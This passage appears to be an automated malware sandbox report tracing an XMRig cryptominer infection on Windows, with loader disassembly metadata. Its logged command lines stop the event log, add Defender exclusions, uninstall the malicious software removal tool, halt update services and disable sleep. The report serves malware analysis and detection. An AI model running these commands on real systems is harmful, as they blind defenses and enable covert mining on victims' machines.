Imagebase:	0x7ff6940a0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	00:46:04
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	00:46:04
Start date:	22/05/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop eventlog
Imagebase:	0x7ff6940a0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	00:46:04
Start date:	22/05/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe start "Build"
Imagebase:	0x7ff6940a0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	00:46:04
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	00:46:04
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	00:46:04
Start date:	22/05/2024
Path:	C:\ProgramData\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\dialer.exe
Imagebase:	0x7ff785910000
File size:	5'290'264 bytes
MD5 hash:	0BCBEA7313655A42ECC0A1FDBCF37993
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 79%, ReversingLabs Detection: 65%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	00:46:05
Start date:	22/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 2944, Parent PID: 6108

General

Target ID:	43
Start time:	00:46:05
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	00:46:06
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff6cf680000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: sc.exePID: 5776, Parent PID: 6204

General

Target ID:	45
Start time:	00:46:06
Start date:	22/05/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop UsoSvc
Imagebase:	0x7ff6940a0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	00:46:06
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	00:46:06
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	00:46:06
Start date:	22/05/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff682d20000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	00:46:06
Start date:	22/05/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop WaaSMedicSvc
Imagebase:	0x7ff6940a0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	00:46:06
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	00:46:06
Start date:	22/05/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop wuauserv
Imagebase:	0x7ff6940a0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	00:46:06
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	00:46:06
Start date:	22/05/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop bits
Imagebase:	0x7ff6940a0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	00:46:06
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	00:46:06
Start date:	22/05/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop dosvc
Imagebase:	0x7ff6940a0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	00:46:06
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	00:46:07
Start date:	22/05/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff7c67f0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	00:46:07
Start date:	22/05/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff7c67f0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	00:46:07
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	00:46:07
Start date:	22/05/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff7c67f0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	00:46:07
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	00:46:07
Start date:	22/05/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff7c67f0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	00:46:07
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	00:46:07
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	65
Start time:	00:46:07
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	00:46:07
Start date:	22/05/2024
Path:	C:\Windows\System32\dwm.exe
Wow64 process (32bit):	false
Commandline:	dwm.exe
Imagebase:	0x7ff79d4a0000
File size:	94'720 bytes
MD5 hash:	5C27608411832C5B39BA04E33D53536C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000042.00000002.3235461112.0000000140001000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000042.00000002.3235461112.0000000140001000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	68
Start time:	00:46:41
Start date:	22/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	11.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	12.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	63

Executed Functions

Function 00007FF79EA61528 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 280
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF79EA61572

Part of subcall function 00007FF79EA60EC8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA60EDC

_get_daylight.LIBCMT ref: 00007FF79EA61561

Part of subcall function 00007FF79EA60F28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA60F3C

_get_daylight.LIBCMT ref: 00007FF79EA617EA
_get_daylight.LIBCMT ref: 00007FF79EA617FB
_get_daylight.LIBCMT ref: 00007FF79EA6180C
GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF79EA61A18), ref: 00007FF79EA61833

Strings

Eastern Standard Time, xrefs: 00007FF79EA618D9
Eastern Summer Time, xrefs: 00007FF79EA618F1

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 435049134-239921721
Opcode ID: e7c50473f2d1b68994f71ab5a92372937e29ed2205e94bdf24f420ae8b7c5c88
Instruction ID: 3f1d05117fe9848d03c93c5805853d37ee66a3fcb08faeaeaf589f156a3d12bc
Opcode Fuzzy Hash: e7c50473f2d1b68994f71ab5a92372937e29ed2205e94bdf24f420ae8b7c5c88
Instruction Fuzzy Hash: A2B1C126F18A5285E730FF3299C097EA661EBA5B84F804135EA4D437A5DF3DE4418770

Function 00007FF79EA47850 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(00000000,?,00000000,00000000,?,00007FF79EA4154F), ref: 00007FF79EA478E7

Part of subcall function 00007FF79EA47A60: GetEnvironmentVariableW.KERNEL32(00007FF79EA439EF), ref: 00007FF79EA47A9A
Part of subcall function 00007FF79EA47A60: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF79EA47AB7

Part of subcall function 00007FF79EA53A04: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA53A1D

SetEnvironmentVariableW.KERNEL32 ref: 00007FF79EA479A1

Part of subcall function 00007FF79EA42B30: MessageBoxW.USER32 ref: 00007FF79EA42C01

Strings

TMP, xrefs: 00007FF79EA478B0
TMP, xrefs: 00007FF79EA4788A, 00007FF79EA47949, 00007FF79EA479D7
_MEI%d, xrefs: 00007FF79EA478F5
LOADER: Failed to set the TMP environment variable., xrefs: 00007FF79EA478CA

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: Environment$Variable$ExpandMessagePathStringsTemp_invalid_parameter_noinfo
String ID: LOADER: Failed to set the TMP environment variable.$TMP$TMP$_MEI%d
API String ID: 3752271684-1116378104
Opcode ID: cc5afa02db89ddc83501fa16cb079789694df4e71eccec7261dd1a3086ea0bde
Instruction ID: 594b17c6973fefa9f700aff95bea9c17dcc8abda59e3d4f6f046d026e027b854
Opcode Fuzzy Hash: cc5afa02db89ddc83501fa16cb079789694df4e71eccec7261dd1a3086ea0bde
Instruction Fuzzy Hash: 2B516D61B0968251FAB4B7326891ABED292DF85BD4FC45031FD0E4B7A7ED2CE4058370

Function 00007FF79EA617BC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 149
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF79EA617EA

Part of subcall function 00007FF79EA60F28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA60F3C

_get_daylight.LIBCMT ref: 00007FF79EA617FB

Part of subcall function 00007FF79EA60EC8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA60EDC

_get_daylight.LIBCMT ref: 00007FF79EA6180C

Part of subcall function 00007FF79EA60EF8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA60F0C

Part of subcall function 00007FF79EA56830: RtlRestoreThreadPreferredUILanguages.NTDLL ref: 00007FF79EA56846

GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF79EA61A18), ref: 00007FF79EA61833

Strings

Eastern Standard Time, xrefs: 00007FF79EA618D9
Eastern Summer Time, xrefs: 00007FF79EA618F1

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$InformationLanguagesPreferredRestoreThreadTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 1896592209-239921721
Opcode ID: e1c1c7a162c756eaab80c75e9d554066937552a0643beb88d9c76aad1a05689b
Instruction ID: b9dc869ddf1034e5d895449248d22639bac0ef97427e5dc2fae6a1bf4150e471
Opcode Fuzzy Hash: e1c1c7a162c756eaab80c75e9d554066937552a0643beb88d9c76aad1a05689b
Instruction Fuzzy Hash: F6617E32E18A4286E770FF31D9C19B9A761EBA9B84F804135EA4D43BA5DF3DE4418770

Function 00007FF79EA487C0 Relevance: 3.0, APIs: 2, Instructions: 31COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF79EA487EF
FindClose.KERNELBASE ref: 00007FF79EA487FE

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: fd09611004a722f78990fd31eac2e868677f50c986bcb1b3b02d4ba43189d950
Instruction ID: 8344d03b3d1b530d8e1f6fbcf2db9e40ff0a722b6d5445c8cd2fe83b7b45093b
Opcode Fuzzy Hash: fd09611004a722f78990fd31eac2e868677f50c986bcb1b3b02d4ba43189d950
Instruction Fuzzy Hash: B5014431A1998186F7B0AB30F49977AB3A0EB857A4FC04335D66D436E5DF3CD0098B20

Function 00007FF79EA5C448 Relevance: 1.9, APIs: 1, Instructions: 439COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21c370f8ab2909275d10110dd99fbc6577511caaf5376d97bbda2fb82b934d79
Instruction ID: ffe4f390e6a310e01bb35cce1e367b5ab2c84a427e3635c6b45eff464a8448ed
Opcode Fuzzy Hash: 21c370f8ab2909275d10110dd99fbc6577511caaf5376d97bbda2fb82b934d79
Instruction Fuzzy Hash: 0802BA61E1964380EE70BB35A885A3DA681EF41BA0FC84635DE6D477F9EE3DA4018330

Function 00007FF79EA41710 Relevance: 24.6, APIs: 1, Strings: 13, Instructions: 148
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF79EA417D9
fseek, xrefs: 00007FF79EA4180D
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF79EA418F5
fopen, xrefs: 00007FF79EA41797
malloc, xrefs: 00007FF79EA4186D
Failed to extract %s: failed to open target file!, xrefs: 00007FF79EA41790
fwrite, xrefs: 00007FF79EA418EC
Failed to create symbolic link %s!, xrefs: 00007FF79EA41753
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF79EA41866
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF79EA41806
pyi_arch_extract2fs was called before temporary directory was initialized!, xrefs: 00007FF79EA41726
fread, xrefs: 00007FF79EA418FC
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF79EA418E5

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: Message
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc$pyi_arch_extract2fs was called before temporary directory was initialized!
API String ID: 2030045667-3833288071
Opcode ID: 41bcd50f58ba6945afefbac69a197c6087a234d6bd2d16567869e118860fe969
Instruction ID: c4997af73b388bcc28a2872c67de1a20f62466076905234dca37b507a2c4f7a6
Opcode Fuzzy Hash: 41bcd50f58ba6945afefbac69a197c6087a234d6bd2d16567869e118860fe969
Instruction Fuzzy Hash: D1516F61B0CA4285EB30BB35E490AB9E391EFA5B94FC44531DE0D4B6B6EE2CE5458730

Function 00007FF79EA48850 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 90
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(0000000100000001,00007FF79EA4411C,00007FF79EA47811,?,00007FF79EA47C26,?,00007FF79EA41785), ref: 00007FF79EA48890
OpenProcessToken.ADVAPI32(?,00007FF79EA47C26,?,00007FF79EA41785), ref: 00007FF79EA488A1
GetTokenInformation.KERNELBASE(?,00007FF79EA47C26,?,00007FF79EA41785), ref: 00007FF79EA488C3
GetLastError.KERNEL32(?,00007FF79EA47C26,?,00007FF79EA41785), ref: 00007FF79EA488CD
GetTokenInformation.KERNELBASE(?,00007FF79EA47C26,?,00007FF79EA41785), ref: 00007FF79EA4890A
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF79EA4891C
FindCloseChangeNotification.KERNELBASE(?,00007FF79EA47C26,?,00007FF79EA41785), ref: 00007FF79EA48934
LocalFree.KERNEL32(?,00007FF79EA47C26,?,00007FF79EA41785), ref: 00007FF79EA48966
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00007FF79EA4898D
CreateDirectoryW.KERNELBASE(?,00007FF79EA47C26,?,00007FF79EA41785), ref: 00007FF79EA4899E

Strings

S-1-3-4, xrefs: 00007FF79EA4893F
D:(A;;FA;;;%s), xrefs: 00007FF79EA48949

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

